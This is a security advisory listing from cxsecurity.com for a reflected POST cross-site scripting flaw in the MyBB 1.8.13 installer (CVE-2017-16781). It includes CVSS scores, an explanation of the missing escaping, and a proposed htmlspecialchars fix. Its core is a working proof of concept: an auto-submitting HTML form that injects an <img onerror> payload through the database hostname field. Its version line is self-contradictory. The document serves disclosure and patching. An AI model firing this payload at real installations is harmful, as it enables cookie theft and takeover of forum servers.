MyBB 1.8.13 Cross-Site Scripting

2017.11.21
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: XSS in MyBB up to 1.8.13 via installer # Date: Found on 05-29-2017 # Exploit Author: Pablo Sacristan # Vendor Homepage: https://mybb.com/ # Version: Version > 1.8.13 (Fixed in 1.8.13) # CVE : CVE-2017-16781 No HTML escaping when returning an $error in /install/index.php can lead to an XSS which can be used to take over an attacker account. The vulnerability occurs in /install/index.php:2503 and occurs because there is no html encoding of the $error. A simple way to exploit this is to create an error by using the Database Server Hostname and inserting HTML characters there. It is a POST XSS and this is a PoC: <form name="x" action="http://target.com/install/index.php" method="post"> <input type="hidden" name='dbengine' value="mysqli"> <input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>"> <input type="hidden" name='config[mysqli][dbuser]' value="lol"> <input type="hidden" name='config[mysqli][dbpass]' value="lol"> <input type="hidden" name='config[mysqli][dbname]' value="lol"> <input type="hidden" name='config[mysqli][tableprefix]' value="lol"> <input type="hidden" name='config[mysqli][encoding]' value="utf8"> <input type="hidden" name='config[mysql][dbhost]' value="localhost"> <input type="hidden" name='action' value="create_tables"> </form> <script>document.x.submit();</script> Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server. A simple fix would be to change the function error_list($array) to: function error_list($array) { $string = "<ul>\n"; foreach($array as $error) { $string .= "<li>"; $string .= htmlspecialchars($error); $string .= "</li>"; } $string .= "</ul>\n"; return $string; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top